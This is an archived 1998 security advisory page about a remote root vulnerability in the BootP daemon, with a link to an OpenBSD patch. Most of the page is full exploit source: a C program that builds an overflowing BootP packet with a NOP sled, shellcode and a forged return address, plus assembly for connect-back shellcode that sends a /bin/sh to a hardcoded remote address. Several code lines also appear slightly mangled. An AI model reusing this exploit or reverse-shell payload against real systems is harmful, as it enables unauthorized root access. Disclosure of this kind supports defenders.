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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Bootp Daemon remote vulnerability. 16 Dec. 1998    Summary BootpD a daemon whose purpose is to implement the Bootstrap Protocol (BootP) which makes it possible for hosts/server to dynamically get/assign IP address, was found to have a remote vulnerability allowing the execution of arbitrary code on the remote server.   Credit: Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner By sending a specially crafted packet to a BootP daemon a malicious user can cause the exeution of arbitrary code (or if it failes, the BootP daemon will crash and stop responding). The affected BootP daemon ships with most UNIX system including: Linux, OpenBSD, FreeBSD, Solaris, Irix, Digital Unix, and many others, and it been confirmed that on OpenBSD is vulnerable to the remote execution, while FreeBSD and Linux (RedHat, Slackware and Debian) are not vulnerable. A patch exists for OpenBSD and can be located here: ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.4/common/bootpd.patch. A code that allows you to exploit this vulnerability and gain root remotely follows: --------- CUT HERE --------- /* * Bootpd Exploit against debian linux 1.3 and 2.0 and possibly other * * (C) 1998 Willem Pinckaers W.H.J.Pinckaers@cpedu.rug.nl * */ #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "bootp.h" char shellcode[] "\x31" "\xc9" "\x89" "\xc8" "\x04" "\x66" "\x41" "\x89" "\xca" "\x89" "\xcb" "\xeb" "\x7f" "\x5f" "\x89" "\x4f" "\x08" "\x41" "\x89" "\x4f" "\x04" "\x80" "\xc1" "\x04" "\x89" "\x4f" "\x0c" "\x8d" "\x4f" "\x04" "\xcd" "\x80" "\x89" "\x07" "\x31" "\xc9" "\x80" "\xc1" "\x02" "\x66" "\x89" "\x4f" "\x0c" "\x66" "\x89" "\x4f" "\x0e" "\x80" "\xc1" "\x0e" "\x66" "\x89" "\x4f" "\x08" "\x66" "\xb9" "\x30" "\x39" "\x66" "\x89" "\x4f" "\x0e" "\x8d" "\x47" "\x0c" "\x89" "\x47" "\x04" "\x31" "\xc9" "\xb1" "\x03" "\x89" "\xca" "\x89" "\xcb" "\x89" "\xf9" "\x31" "\xc0" "\x04" "\x66" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\xc1" "\x04" "\x3f" "\x89" "\xc2" "\x8b" "\x1f" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\x47" "\x10" "\x88" "\x47" "\x1b" "\x8d" "\x47" "\x14" "\x89" "\x47" "\x0c" "\x31" "\xc0" "\x04" "\x0b" "\x8d" "\x5f" "\x14" "\x8d" "\x4f" "\x0c" "\x8d" "\x57" "\x10" "\xcd" "\x80" "\x31" "\xc0" "\x40" "\xcd" "\x80" "\xe8" "\x7c" "\xff" "\xff" "\xff" "\x2e" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x39" "\x30" "\xc0" "\xa8" "\x01" "\x01" "\x2f" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"; #define SERVER_PORT 67 char client_addr[16] = "127.000.000.001"; char host_addr[16] = "127.000.000.001"; int realpath_adjust = 0; int exploit_length = 1200; struct sockaddr_in server_addr; void sendpacket(int, struct bootp *); void build_packet(struct bootp *, int, char**); void get_args(int, char**); void usage(void); int main(int argc, char *argv[]) { struct bootp* bp; int s; get_args(argc, argv); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr(host_addr); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "cannot create socket\n"); exit(1); } if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) = NULL) { (void) fprintf(stderr, "Cannot malloc.\n"); exit(1); }; (void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */ build_packet(bp, argc, argv); sendpacket(s, bp); } void sendpacket(int s, struct bootp *bp) { if (sendto(s, (const void *) bp, MAX_MSG_SIZE, 0, (const struct sockaddr *) &server_addr, sizeof(struct sockaddr_in)) = -1) { fprintf(stderr, "sendpacket: sendto returned -1 ;(\n"); exit(1); } } void build_packet(struct bootp *bp, int argc, char *argv[]) { unsigned long start_realpath = 0xbffff684 + realpath_adjust; unsigned long addr_ret_addr = start_realpath + 8 + 0x488; unsigned long temp_addr, temp_addr2 = 0; int length_tftpdir = 1; // no ftpdir just a slash at the start.. int num_nops = 600; char *p; unsigned long *q; int i; bp->bp_op = BOOTREQUEST; bp->bp_xid = 58524; bp->bp_htype = HTYPE_ETHERNET; bp->bp_hlen = 6; bp->bp_ciaddr.s_addr = inet_addr(client_addr); printf("Using: client: %s\n", client_addr); printf("Using: server: %s\n", host_addr); printf("Addr of realpath: %x\n", start_realpath); p = bp->bp_file; /* Putting in nops */ for (i = 0; i < num_nops; i++) *p++ = 0x90; printf("Added: %d nops\n", num_nops); /* Putting in shellcode */ for(i = 0; i < strlen(shellcode); i++) *p++ = shellcode[i]; printf("%d bytes of shellcode added.\n", strlen(shellcode)); /* Aligning to make sure the ret_addr is placed correctly */ temp_addr = p - bp->bp_file + length_tftpdir + start_realpath; for(i = 0; i < (addr_ret_addr - temp_addr) % 4; i++) *p++ = 'a'; printf("%d bytes of alignment added.\n", (addr_ret_addr - temp_addr) %4); /* set return adress.. hopefully in exploit code.... */ temp_addr2 = start_realpath + length_tftpdir + (num_nops / 2); if (!(temp_addr2 & 0xff)) temp_addr2++; printf("Setting return addr to: %x \n", temp_addr2); q = (unsigned long *) p; do { *q++ = temp_addr2; p = (char *) q; } while ((p - bp->bp_file) < exploit_length); *p++ = '\0'; printf("Exploit length: %d", strlen(bp->bp_file)); } void get_args(int argc, char *argv[]) { int ch; while ((ch = getopt(argc, argv, "c:s:a:e:")) != EOF) { switch(ch) { case 'c': strcpy(client_addr, optarg); break; case 's': strcpy(host_addr, optarg); break; case 'a': realpath_adjust = atoi(optarg); break; case 'e': exploit_length = atoi(optarg); break; default: usage(); } } } void usage(void) { printf("bootpd exploit against debian linux 1.3 and 2.0 (probably others)\n"); printf("\nBy Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl) 1998\n"); printf("\nUsage:\n\tbootpd: -c client_addr -s server_addr -a offset\n"); exit(1); } --------- CUT HERE --------- --------- CUT HERE --------- /* * Exploit code, casts a shell to a remote host * (C) 1998 Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl */ void main() { __asm__(" xorl %ecx, %ecx movl %ecx, %eax addb $0x66, %al incl %ecx movl %ecx, %edx movl %ecx, %ebx jmp endc0de realstart: popl %edi movl %ecx,0x08(%edi) incl %ecx movl %ecx,0x04(%edi) addb $04,%cl movl %ecx,0x0c(%edi) leal 04(%edi), %ecx int $0x80 movl %eax, (%edi) xorl %ecx, %ecx addb $02, %cl movw %cx, 0xc(%edi) movw %cx, 0xe(%edi) addb $0x0e, %cl movw %cx, 0x8(%edi) movw $0x3930, %cx movw %cx, 0xe(%edi) leal 0x0c(%edi), %eax movl %eax, 0x04(%edi) xorl %ecx, %ecx movb $03, %cl movl %ecx, %edx movl %ecx, %ebx movl %edi, %ecx xorl %eax, %eax addb $0x66, %al int $0x080 // connect xorl %eax,%eax movl %eax, %ecx addb $0x3f, %al movl %eax, %edx movl (%edi), %ebx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 xorl %eax, %eax movl %eax, 0x10(%edi) // pointer = NULL movb %al, 0x1b(%edi) // terminate /bin/sh leal 0x14(%edi), %eax // start van /bin/sh movl %eax, 0x0c(%edi) xorl %eax, %eax addb $0x0b, %al leal 0x14(%edi), %ebx leal 0x0c(%edi), %ecx leal 0x10(%edi), %edx int $0x80 // execve xorl %eax,%eax incl %eax int $0x80 endc0de: call realstart sockfd: .byte 0x2e, 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' sockaddr: .byte 'A', 'A' // must contain 02 .byte 0x39, 0x30 // must contain port nr .byte 192, 168, 01, 01 // must contain ip .string \"/bin/sh\""); } --------- CUT HERE --------- The exploit code was provided by: Willem Pinckaers. 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